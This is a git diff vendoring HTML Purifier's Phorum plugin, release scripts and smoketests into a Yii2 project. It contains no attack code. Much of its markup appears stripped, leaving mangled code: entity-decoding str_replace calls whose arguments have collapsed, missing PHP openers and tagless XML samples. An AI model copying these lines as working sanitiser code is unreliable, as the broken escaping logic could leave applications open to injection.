@@ -0,0 +1,2 @@ +migrate.php +htmlpurifier/* diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/Changelog b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/Changelog new file mode 100644 index 00000000..9f939e54 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/Changelog @@ -0,0 +1,27 @@ +Changelog HTMLPurifier : Phorum Mod +||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| + += KEY ==================== + # Breaks back-compat + ! Feature + - Bugfix + + Sub-comment + . Internal change +========================== + +Version 4.0.0 for Phorum 5.2, released July 9, 2009 +# Works only with HTML Purifier 4.0.0 +! Better installation documentation +- Fixed double encoded quotes +- Fixed fatal error when migrate.php is blank + +Version 3.0.0 for Phorum 5.2, released January 12, 2008 +# WYSIWYG and suppress_message options are now configurable via web + interface. +- Module now compatible with Phorum 5.2, primary bugs were in migration + code as well as signature and edit message handling. This module is NOT + compatible with Phorum 5.1. +- Buggy WYSIWYG mode refined +. AutoFormatParam added to list of default configuration namespaces + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/INSTALL b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/INSTALL new file mode 100644 index 00000000..23c76fc5 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/INSTALL @@ -0,0 +1,84 @@ + +Install + How to install the Phorum HTML Purifier plugin + +0. PREREQUISITES +---------------- +This Phorum module only works on PHP5 and with HTML Purifier 4.0.0 +or later. + +1. UNZIP +-------- +Unzip phorum-htmlpurifier-x.y.z, producing an htmlpurifier folder. +You've already done this step if you're reading this! + +2. MOVE +------- +Move the htmlpurifier folder to the mods/ folder of your Phorum +installation, so the directory structure looks like: + +phorum/ + mods/ + htmlpurifier/ + INSTALL - this install file + info.txt, ... - the module files + htmlpurifier/ + +3. INSTALL HTML PURIFIER +------------------------ +Download and unzip HTML Purifier . Place the contents of +the library/ folder in the htmlpurifier/htmlpurifier folder. Your directory +structure will look like: + +phorum/ + mods/ + htmlpurifier/ + htmlpurifier/ + HTMLPurifier.auto.php + ... - other files + HTMLPurifier/ + +Advanced users: + If you have HTML Purifier installed elsewhere on your server, + all you need is an HTMLPurifier.auto.php file in the library folder which + includes the HTMLPurifier.auto.php file in your install. + +4. MIGRATE +---------- +If you're setting up a new Phorum installation, all you need to do is create +a blank migrate.php file in the htmlpurifier module folder (NOT the library +folder. + +If you have an old Phorum installation and was using BBCode, +copy migrate.bbcode.php to migrate.php. If you were using a different input +format, follow the instructions in migrate.bbcode.php to create your own custom +migrate.php file. + +Your directory structure should now look like this: + +phorum/ + mods/ + htmlpurifier/ + migrate.php + +5. ENABLE +--------- +Navigate to your Phorum admin panel at http://example.com/phorum/admin.php, +click on Global Settings > Modules, scroll to "HTML Purifier Phorum Mod" and +turn it On. + +6. MIGRATE SIGNATURES +--------------------- +If you're setting up a new Phorum installation, skip this step. + +If you allowed your users to make signatures, navigate to the module settings +page of HTML Purifier (Global Settings > Modules > HTML Purifier Phorum Mod > +Configure), type in "yes" in the "Confirm" box, and press "Migrate." + +ONLY DO THIS ONCE! BE SURE TO BACK UP YOUR DATABASE! + +7. CONFIGURE +------------ +Configure using Edit settings. See that page for more information. + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/README b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/README new file mode 100644 index 00000000..0524ed39 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/README @@ -0,0 +1,45 @@ + +HTML Purifier Phorum Mod - Filter your HTML the Standards-Compliant Way! + +This Phorum mod enables HTML posting on Phorum. Under normal circumstances, +this would cause a huge security risk, but because we are running +HTML through HTML Purifier, output is guaranteed to be XSS free and +standards-compliant. + +This mod requires HTML input, and previous markup languages need to be +converted accordingly. Thus, it is vital that you create a 'migrate.php' +file that works with your installation. If you're using the built-in +BBCode formatting, simply move migrate.bbcode.php to that place; for +other markup languages, consult said file for instructions on how +to adapt it to your needs. + + -- NOTE ------------------------------------------------- + You can also run this module in parallel with another + formatting module; this module attempts to place itself + at the end of the filtering chain. However, if any + previous modules produce insecure HTML (for instance, + a JavaScript email obfuscator) they will get cleaned. + +This module will not work if 'migrate.php' is not created, and an improperly +made migration file may *CORRUPT* Phorum, so please take your time to +do this correctly. It should go without saying to *BACKUP YOUR DATABASE* +before attempting anything here. If no migration is necessary, you can +simply create a blank migrate.php file. HTML Purifier is smart and will +not re-migrate already processed messages. However, the original code +is irretrievably lost (we may change this in the future.) + +This module will not automatically migrate user signatures, because this +process may take a long time. After installing the HTML Purifier module and +then configuring 'migrate.php', navigate to Settings and click 'Migrate +Signatures' to migrate all user signatures to HTML. + +All of HTML Purifier's usual functions are configurable via the mod settings +page. If you require custom configuration, create config.php file in +the mod directory that edits a $config variable. Be sure, also, to +set $PHORUM['mod_htmlpurifier']['wysiwyg'] to TRUE if you are using a +WYSIWYG editor (you can do this through a common hook or the web +configuration form). + +Visit HTML Purifier at . + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/config.default.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/config.default.php new file mode 100644 index 00000000..e047c0b4 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/config.default.php @@ -0,0 +1,57 @@ +set('HTML.Allowed', + // alphabetically sorted +'a[href|title] +abbr[title] +acronym[title] +b +blockquote[cite] +br +caption +cite +code +dd +del +dfn +div +dl +dt +em +i +img[src|alt|title|class] +ins +kbd +li +ol +p +pre +s +strike +strong +sub +sup +table +tbody +td +tfoot +th +thead +tr +tt +u +ul +var'); +$config->set('AutoFormat.AutoParagraph', true); +$config->set('AutoFormat.Linkify', true); +$config->set('HTML.Doctype', 'XHTML 1.0 Transitional'); +$config->set('Core.AggressivelyFixLt', true); +$config->set('Core.Encoding', $GLOBALS['PHORUM']['DATA']['CHARSET']); // we'll change this eventually +if (strtolower($GLOBALS['PHORUM']['DATA']['CHARSET']) !== 'utf-8') { + $config->set('Core.EscapeNonASCIICharacters', true); +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/htmlpurifier.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/htmlpurifier.php new file mode 100644 index 00000000..f66d8c36 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/htmlpurifier.php @@ -0,0 +1,316 @@ + $message){ + if(isset($message['body'])) { + + if ($message_id) { + // we're dealing with a real message, not a fake, so + // there a number of shortcuts that can be taken + + if (isset($message['meta']['htmlpurifier_light'])) { + // format hook was called outside of Phorum's normal + // functions, do the abridged purification + $data[$message_id]['body'] = $purifier->purify($message['body']); + continue; + } + + if (!empty($PHORUM['args']['purge'])) { + // purge the cache, must be below the following if + unset($message['meta']['body_cache']); + } + + if ( + isset($message['meta']['body_cache']) && + isset($message['meta']['body_cache_serial']) && + $message['meta']['body_cache_serial'] == $cache_serial + ) { + // cached version is present, bail out early + $data[$message_id]['body'] = base64_decode($message['meta']['body_cache']); + continue; + } + } + + // migration might edit this array, that's why it's defined + // so early + $updated_message = array(); + + // create the $body variable + if ( + $message_id && // message must be real to migrate + !isset($message['meta']['body_cache_serial']) + ) { + // perform migration + $fake_data = array(); + list($signature, $edit_message) = phorum_htmlpurifier_remove_sig_and_editmessage($message); + $fake_data[$message_id] = $message; + $fake_data = phorum_htmlpurifier_migrate($fake_data); + $body = $fake_data[$message_id]['body']; + $body = str_replace("\n", "\n", $body); + $updated_message['body'] = $body; // save it in + $body .= $signature . $edit_message; // add it back in + } else { + // reverse Phorum's pre-processing + $body = $message['body']; + // order is important + $body = str_replace("\n", "\n", $body); + $body = str_replace(array('<','>','&', '"'), array('<','>','&','"'), $body); + if (!$message_id && defined('PHORUM_CONTROL_CENTER')) { + // we're in control.php, so it was double-escaped + $body = str_replace(array('<','>','&', '"'), array('<','>','&','"'), $body); + } + } + + $body = $purifier->purify($body); + + // dynamically update the cache (MUST BE DONE HERE!) + // this is inefficient because it's one db call per + // cache miss, but once the cache is in place things are + // a lot zippier. + + if ($message_id) { // make sure it's not a fake id + $updated_message['meta'] = $message['meta']; + $updated_message['meta']['body_cache'] = base64_encode($body); + $updated_message['meta']['body_cache_serial'] = $cache_serial; + phorum_db_update_message($message_id, $updated_message); + } + + // must not get overloaded until after we cache it, otherwise + // we'll inadvertently change the original text + $data[$message_id]['body'] = $body; + + } + } + + return $data; +} + +// ----------------------------------------------------------------------- +// This is fragile code, copied from read.php:596 (Phorum 5.2.6). Please +// keep this code in-sync with Phorum + +/** + * Generates a signature based on a message array + */ +function phorum_htmlpurifier_generate_sig($row) +{ + $phorum_sig = ''; + if(isset($row["user"]["signature"]) + && isset($row['meta']['show_signature']) && $row['meta']['show_signature']==1){ + $phorum_sig=trim($row["user"]["signature"]); + if(!empty($phorum_sig)){ + $phorum_sig="\n\n$phorum_sig"; + } + } + return $phorum_sig; +} + +/** + * Generates an edit message based on a message array + */ +function phorum_htmlpurifier_generate_editmessage($row) +{ + $PHORUM = $GLOBALS['PHORUM']; + $editmessage = ''; + if(isset($row['meta']['edit_count']) && $row['meta']['edit_count'] > 0) { + $editmessage = str_replace ("%count%", $row['meta']['edit_count'], $PHORUM["DATA"]["LANG"]["EditedMessage"]); + $editmessage = str_replace ("%lastedit%", phorum_date($PHORUM["short_date_time"],$row['meta']['edit_date']), $editmessage); + $editmessage = str_replace ("%lastuser%", $row['meta']['edit_username'], $editmessage); + $editmessage = "\n\n\n\n$editmessage"; + } + return $editmessage; +} + +// End fragile code +// ----------------------------------------------------------------------- + +/** + * Removes the signature and edit message from a message + * @param $row Message passed by reference + */ +function phorum_htmlpurifier_remove_sig_and_editmessage(&$row) +{ + $signature = phorum_htmlpurifier_generate_sig($row); + $editmessage = phorum_htmlpurifier_generate_editmessage($row); + $replacements = array(); + // we need to remove add as that is the form these + // extra bits are in. + if ($signature) $replacements[str_replace("\n", "\n", $signature)] = ''; + if ($editmessage) $replacements[str_replace("\n", "\n", $editmessage)] = ''; + $row['body'] = strtr($row['body'], $replacements); + return array($signature, $editmessage); +} + +/** + * Indicate that data is fully HTML and not from migration, invalidate + * previous caches + * @note This function could generate the actual cache entries, but + * since there's data missing that must be deferred to the first read + */ +function phorum_htmlpurifier_posting($message) +{ + $PHORUM = $GLOBALS["PHORUM"]; + unset($message['meta']['body_cache']); // invalidate the cache + $message['meta']['body_cache_serial'] = $PHORUM['mod_htmlpurifier']['body_cache_serial']; + return $message; +} + +/** + * Overload quoting mechanism to prevent default, mail-style quote from happening + */ +function phorum_htmlpurifier_quote($array) +{ + $PHORUM = $GLOBALS["PHORUM"]; + $purifier =& HTMLPurifier::getInstance(); + $text = $purifier->purify($array[1]); + $source = htmlspecialchars($array[0]); + return "
              \n$text\n
              "; +} + +/** + * Ensure that our format hook is processed last. Also, loads the library. + * @credits + */ +function phorum_htmlpurifier_common() +{ + require_once(dirname(__FILE__).'/htmlpurifier/HTMLPurifier.auto.php'); + require(dirname(__FILE__).'/init-config.php'); + + $config = phorum_htmlpurifier_get_config(); + HTMLPurifier::getInstance($config); + + // increment revision.txt if you want to invalidate the cache + $GLOBALS['PHORUM']['mod_htmlpurifier']['body_cache_serial'] = $config->getSerial(); + + // load migration + if (file_exists(dirname(__FILE__) . '/migrate.php')) { + include(dirname(__FILE__) . '/migrate.php'); + } else { + echo 'Error: No migration path specified for HTML Purifier, please check + modes/htmlpurifier/migrate.bbcode.php for instructions on + how to migrate from your previous markup language.'; + exit; + } + + if (!function_exists('phorum_htmlpurifier_migrate')) { + // Dummy function + function phorum_htmlpurifier_migrate($data) {return $data;} + } + +} + +/** + * Pre-emptively performs purification if it looks like a WYSIWYG editor + * is being used + */ +function phorum_htmlpurifier_before_editor($message) +{ + if (!empty($GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'])) { + if (!empty($message['body'])) { + $body = $message['body']; + // de-entity-ize contents + $body = str_replace(array('<','>','&'), array('<','>','&'), $body); + $purifier =& HTMLPurifier::getInstance(); + $body = $purifier->purify($body); + // re-entity-ize contents + $body = htmlspecialchars($body, ENT_QUOTES, $GLOBALS['PHORUM']['DATA']['CHARSET']); + $message['body'] = $body; + } + } + return $message; +} + +function phorum_htmlpurifier_editor_after_subject() +{ + // don't show this message if it's a WYSIWYG editor, since it will + // then be handled automatically + if (!empty($GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'])) { + $i = $GLOBALS['PHORUM']['DATA']['MODE']; + if ($i == 'quote' || $i == 'edit' || $i == 'moderation') { + ?> +
              +

              + Notice: HTML has been scrubbed for your safety. + If you would like to see the original, turn off WYSIWYG mode + (consult your administrator for details.) +

              +
              +
              +

              + HTML input is enabled. Make sure you escape all HTML and + angled brackets with &lt; and &gt;. +

              config; + if ($config->get('AutoFormat.AutoParagraph')) { + ?>

              + Auto-paragraphing is enabled. Double + newlines will be converted to paragraphs; for single + newlines, use the pre tag. +

              getDefinition('HTML'); + $allowed = array(); + foreach ($html_definition->info as $name => $x) $allowed[] = "$name"; + sort($allowed); + $allowed_text = implode(', ', $allowed); + ?>

              Allowed tags: .

              +

              +

              + For inputting literal code such as HTML and PHP for display, use + CDATA tags to auto-escape your angled brackets, and pre + to preserve newlines: +

              +
              <pre><![CDATA[
              +Place code here
              +]]></pre>
              +

              + Power users, you can hide this notice with: +

              .htmlpurifier-help {display:none;}
              +

              +
              + Copyright (C) + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + +Also add information on how to contact you by electronic and paper mail. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the library, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the + library `Frob' (a library for tweaking knobs) written by James Random Hacker. + + , 1 April 1990 + Ty Coon, President of Vice + +That's all there is to it! + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/htmlpurifier/README b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/htmlpurifier/README new file mode 100644 index 00000000..7df1ebed --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/htmlpurifier/README @@ -0,0 +1,3 @@ +The contents of the library/ folder should be here. + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/info.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/info.txt new file mode 100644 index 00000000..72346549 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/info.txt @@ -0,0 +1,18 @@ +title: HTML Purifier Phorum Mod +desc: This module enables standards-compliant HTML filtering on Phorum. Please check migrate.bbcode.php before enabling this mod. +author: Edward Z. Yang +url: http://htmlpurifier.org/ +version: 4.0.0 + +hook: format|phorum_htmlpurifier_format +hook: quote|phorum_htmlpurifier_quote +hook: posting_custom_action|phorum_htmlpurifier_posting +hook: common|phorum_htmlpurifier_common +hook: before_editor|phorum_htmlpurifier_before_editor +hook: tpl_editor_after_subject|phorum_htmlpurifier_editor_after_subject + +# This module is meant to be a drop-in for bbcode, so make it run last. +priority: run module after * +priority: run hook format after * + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/init-config.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/init-config.php new file mode 100644 index 00000000..e19787b4 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/init-config.php @@ -0,0 +1,30 @@ +'; +phorum_htmlpurifier_show_form(); + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/settings/form.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/settings/form.php new file mode 100644 index 00000000..9b6ad5f3 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/settings/form.php @@ -0,0 +1,95 @@ +hidden("module", "modsettings"); + $frm->hidden("mod", "htmlpurifier"); // this is the directory name that the Settings file lives in + + if (!empty($error)){ + echo "$error
              "; + } + + $frm->addbreak("Edit settings for the HTML Purifier module"); + + $frm->addMessage('

              The box below sets $PHORUM[\'mod_htmlpurifier\'][\'wysiwyg\']. + When checked, contents sent for edit are now purified and the + informative message is disabled. If your WYSIWYG editor is disabled for + admin edits, you can safely keep this unchecked.

              '); + $frm->addRow('Use WYSIWYG?', $frm->checkbox('wysiwyg', '1', '', $PHORUM['mod_htmlpurifier']['wysiwyg'])); + + $frm->addMessage('

              The box below sets $PHORUM[\'mod_htmlpurifier\'][\'suppress_message\'], + which removes the big how-to use + HTML Purifier message.

              '); + $frm->addRow('Suppress information?', $frm->checkbox('suppress_message', '1', '', $PHORUM['mod_htmlpurifier']['suppress_message'])); + + $frm->addMessage('

              Click on directive links to read what each option does + (links do not open in new windows).

              +

              For more flexibility (for instance, you want to edit the full + range of configuration directives), you can create a config.php + file in your mods/htmlpurifier/ directory. Doing so will, + however, make the web configuration interface unavailable.

              '); + + require_once 'HTMLPurifier/Printer/ConfigForm.php'; + $htmlpurifier_form = new HTMLPurifier_Printer_ConfigForm('config', 'http://htmlpurifier.org/live/configdoc/plain.html#%s'); + $htmlpurifier_form->setTextareaDimensions(23, 7); // widen a little, since we have space + + $frm->addMessage($htmlpurifier_form->render( + $config, $PHORUM['mod_htmlpurifier']['directives'], false)); + + $frm->addMessage("Warning: Changing HTML Purifier's configuration will invalidate + the cache. Expect to see a flurry of database activity after you change + any of these settings."); + + $frm->addrow('Reset to defaults:', $frm->checkbox("reset", "1", "", false)); + + // hack to include extra styling + echo ''; + $js = $htmlpurifier_form->getJavaScript(); + echo ''; + + $frm->show(); +} + +function phorum_htmlpurifier_show_config_info() +{ + global $PHORUM; + + // update mod_htmlpurifier for housekeeping + phorum_htmlpurifier_commit_settings(); + + // politely tell user how to edit settings manually +?> +
              How to edit settings for HTML Purifier module
              +

              + A config.php file exists in your mods/htmlpurifier/ + directory. This file contains your custom configuration: in order to + change it, please navigate to that file and edit it accordingly. + You can also set $GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'] + or $GLOBALS['PHORUM']['mod_htmlpurifier']['suppress_message'] +

              +

              + To use the web interface, delete config.php (or rename it to + config.php.bak). +

              +

              + Warning: Changing HTML Purifier's configuration will invalidate + the cache. Expect to see a flurry of database activity after you change + any of these settings. +

              +hidden("module", "modsettings"); + $frm->hidden("mod", "htmlpurifier"); + $frm->hidden("migrate-sigs", "1"); + $frm->addbreak("Migrate user signatures to HTML"); + $frm->addMessage('This operation will migrate your users signatures + to HTML. This process is irreversible and must only be performed once. + Type in yes in the confirmation field to migrate.'); + if (!file_exists(dirname(__FILE__) . '/../migrate.php')) { + $frm->addMessage('Migration file does not exist, cannot migrate signatures. + Please check migrate.bbcode.php on how to create an appropriate file.'); + } else { + $frm->addrow('Confirm:', $frm->text_box("confirmation", "")); + } + $frm->show(); +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/settings/migrate-sigs.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/settings/migrate-sigs.php new file mode 100644 index 00000000..5ea9cd0b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/settings/migrate-sigs.php @@ -0,0 +1,79 @@ +$PHORUM["mod_htmlpurifier"])); + $offset = 1; + } elseif (!empty($_GET['migrate-sigs']) && $PHORUM['mod_htmlpurifier']['migrate-sigs']) { + $offset = (int) $_GET['migrate-sigs']; + } + return $offset; +} + +function phorum_htmlpurifier_migrate_sigs($offset) +{ + global $PHORUM; + + if(!$offset) return; // bail out quick if $offset == 0 + + // theoretically, we could get rid of this multi-request + // doo-hickery if safe mode is off + @set_time_limit(0); // attempt to let this run + $increment = $PHORUM['mod_htmlpurifier']['migrate-sigs-increment']; + + require_once(dirname(__FILE__) . '/../migrate.php'); + // migrate signatures + // do this in batches so we don't run out of time/space + $end = $offset + $increment; + $user_ids = array(); + for ($i = $offset; $i < $end; $i++) { + $user_ids[] = $i; + } + $userinfos = phorum_db_user_get_fields($user_ids, 'signature'); + foreach ($userinfos as $i => $user) { + if (empty($user['signature'])) continue; + $sig = $user['signature']; + // perform standard Phorum processing on the sig + $sig = str_replace(array("&","<",">"), array("&","<",">"), $sig); + $sig = preg_replace("/<((http|https|ftp):\/\/[a-z0-9;\/\?:@=\&\$\-_\.\+!*'\(\),~%]+?)>/i", "$1", $sig); + // prepare fake data to pass to migration function + $fake_data = array(array("author"=>"", "email"=>"", "subject"=>"", 'body' => $sig)); + list($fake_message) = phorum_htmlpurifier_migrate($fake_data); + $user['signature'] = $fake_message['body']; + if (!phorum_api_user_save($user)) { + exit('Error while saving user data'); + } + } + unset($userinfos); // free up memory + + // query for highest ID in database + $type = $PHORUM['DBCONFIG']['type']; + $sql = "select MAX(user_id) from {$PHORUM['user_table']}"; + $row = phorum_db_interact(DB_RETURN_ROW, $sql); + $top_id = (int) $row[0]; + + $offset += $increment; + if ($offset > $top_id) { // test for end condition + echo 'Migration finished'; + $PHORUM['mod_htmlpurifier']['migrate-sigs'] = false; + phorum_htmlpurifier_commit_settings(); + return true; + } + $host = $_SERVER['HTTP_HOST']; + $uri = rtrim(dirname($_SERVER['PHP_SELF']), '/\\'); + $extra = 'admin.php?module=modsettings&mod=htmlpurifier&migrate-sigs=' . $offset; + // relies on output buffering to work + header("Location: http://$host$uri/$extra"); + exit; + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/settings/save.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/settings/save.php new file mode 100644 index 00000000..2aefaf83 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/settings/save.php @@ -0,0 +1,29 @@ +mods/htmlpurifier/config.php already exists. To change + settings, edit that file. To use the web form, delete that file.
              "; + } else { + $config = phorum_htmlpurifier_get_config(true); + if (!isset($_POST['reset'])) $config->mergeArrayFromForm($_POST, 'config', $PHORUM['mod_htmlpurifier']['directives']); + $PHORUM['mod_htmlpurifier']['config'] = $config->getAll(); + } + $PHORUM['mod_htmlpurifier']['wysiwyg'] = !empty($_POST['wysiwyg']); + $PHORUM['mod_htmlpurifier']['suppress_message'] = !empty($_POST['suppress_message']); + if(!phorum_htmlpurifier_commit_settings()){ + $error="Database error while updating settings."; + } else { + echo "Settings Updated
              "; + } +} + +function phorum_htmlpurifier_commit_settings() +{ + global $PHORUM; + return phorum_db_update_settings(array("mod_htmlpurifier"=>$PHORUM["mod_htmlpurifier"])); +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/release1-update.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/release1-update.php new file mode 100644 index 00000000..834d3856 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/release1-update.php @@ -0,0 +1,110 @@ + 1) { + echo 'More than one release declaration in NEWS replaced' . PHP_EOL; + exit; + } + file_put_contents('NEWS', $news_c); +} + +// ...in Doxyfile +$doxyfile_c = preg_replace( + '/(?<=PROJECT_NUMBER {9}= )[^\s]+/m', // brittle + $version, + file_get_contents('Doxyfile'), + 1, $c +); +if (!$c) { + echo 'Could not update Doxyfile, missing PROJECT_NUMBER.' . PHP_EOL; + exit; +} +file_put_contents('Doxyfile', $doxyfile_c); + +// ...in HTMLPurifier.php +$htmlpurifier_c = file_get_contents('library/HTMLPurifier.php'); +$htmlpurifier_c = preg_replace( + '/HTML Purifier .+? - /', + "HTML Purifier $version - ", + $htmlpurifier_c, + 1, $c +); +if (!$c) { + echo 'Could not update HTMLPurifier.php, missing HTML Purifier [version] header.' . PHP_EOL; + exit; +} +$htmlpurifier_c = preg_replace( + '/public \$version = \'.+?\';/', + "public \$version = '$version';", + $htmlpurifier_c, + 1, $c +); +if (!$c) { + echo 'Could not update HTMLPurifier.php, missing public $version.' . PHP_EOL; + exit; +} +$htmlpurifier_c = preg_replace( + '/const VERSION = \'.+?\';/', + "const VERSION = '$version';", + $htmlpurifier_c, + 1, $c +); +if (!$c) { + echo 'Could not update HTMLPurifier.php, missing const $version.' . PHP_EOL; + exit; +} +file_put_contents('library/HTMLPurifier.php', $htmlpurifier_c); + +$config_c = file_get_contents('library/HTMLPurifier/Config.php'); +$config_c = preg_replace( + '/public \$version = \'.+?\';/', + "public \$version = '$version';", + $config_c, + 1, $c +); +if (!$c) { + echo 'Could not update Config.php, missing public $version.' . PHP_EOL; + exit; +} +file_put_contents('library/HTMLPurifier/Config.php', $config_c); + +passthru('php maintenance/flush.php'); + +if ($is_dev) echo "Review changes, write something in WHATSNEW and FOCUS, and then commit with log 'Release $version.'" . PHP_EOL; +else echo "Numbers updated to dev, no other modifications necessary!"; + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/release2-tag.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/release2-tag.php new file mode 100644 index 00000000..25e5300d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/release2-tag.php @@ -0,0 +1,22 @@ +'; + +?> + + + HTML Purifier: All Smoketests + + + + +

              HTML Purifier: All Smoketests

              +
              + + + +
              + + + + + + HTML Purifier Attribute Transformation Smoketest + + + + +

              HTML Purifier Attribute Transformation Smoketest

              +
              +
              + HTML +
              +
              + CSS +
              +
              +Requires PHP 5.

              '); + +$xml = simplexml_load_file('attrTransform.xml'); + +// attr transform enabled HTML Purifier +$config = HTMLPurifier_Config::createDefault(); +$config->set('HTML.Doctype', 'XHTML 1.0 Strict'); +$purifier = new HTMLPurifier($config); + +$title = isset($_GET['title']) ? $_GET['title'] : true; + +foreach ($xml->group as $group) { + echo '

              ' . $group['title'] . '

              '; + foreach ($group->sample as $sample) { + $sample = (string) $sample; +?> +
              +
              + +
              +
              + purify($sample); ?> +
              +
              + + + + + + +
            • menu
            • ]]> +
            • dir
            • ]]>
              + + + Red]]> + #0000FF]]> + Arial]]> + + + -2
              ]]> + -1]]> + 0]]> + 1]]> + 2
              ]]> + 3]]> + 4]]> + 5]]> + 6]]> + 7]]> + 8]]> + +1]]> + +2]]> + +3]]> + +4]]> + +5]]> + + + Centered]]> + + + Left

              ]]>
              + Center

              ]]>
              + Right

              ]]>
              +
              + + + + To + Be + + + Or + Not + + + To + Be + + + ]]> + + + Or + Not + + + To + Be + + + ]]> + + + ]]> + I]]> + + + + + x1 + x2 + + + ]]> + + + x1 + x2 + + + ]]> +
              ]]>
              +
              + + + + This wants to wrap + really badly yes it does + + + ]]> + + + This wants to wrap + really badly yes it does + + + ]]> + + + tall]]> + + + a]]> +
              o]]>
              +
              + + ]]> + ]]> + + + B
              A]]>
              + B
              A]]>
              + IB
              A]]>
              + IB
              A]]>
              +
              + + + Left + 1.11.2 + + ]]> + + Right + 1.11.2 + + ]]> + + Top + 1.11.2 + + ]]> + + Bottom + 1.11.2 + + ]]> + + + ]]> + ]]> + top]]> + bottom]]> + middle]]> + + + lefta]]> + centera]]> + righta]]> + + + left]]> + center]]> + right]]> + + +
            • 1
            • 2
            ]]> +
          • 1
          • 2
          ]]> +
        • 1
        • 2
        ]]> +
      9. 1
      10. 2
      11. ]]>
        +
      12. 1
      13. 2
      14. ]]>
        +
      15. 1
      16. 2
      17. ]]>
        +
      18. 1
      19. 2
      20. ]]>
        +
      21. 1
      22. 2
      23. ]]>
        +
      24. 1
      25. 2
      26. ]]>
        + + + + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/basic.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/basic.php new file mode 100644 index 00000000..1c361727 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/smoketests/basic.php @@ -0,0 +1,73 @@ + true, + 'legacy' => true +); + +$page = isset($_GET['p']) ? $_GET['p'] : false; +if (!isset($allowed[$page])) $page = false; + +$strict = isset($_GET['d']) ? (bool) $_GET['d'] : false; + +echo ''; +?> + + + + + + + + HTML Purifier Basic Smoketest + + + + + +
        : +Swap
        +Valid XHTML 1.0 Transitional +
        +set('Attr.EnableID', true); + $config->set('HTML.Strict', $strict); + $purifier = new HTMLPurifier($config); + echo $purifier->purify(file_get_contents("basic/$page.html")); +} else { + ?> +

        HTML Purifier Basic Smoketest Index

        +
          + $b) { + ?>
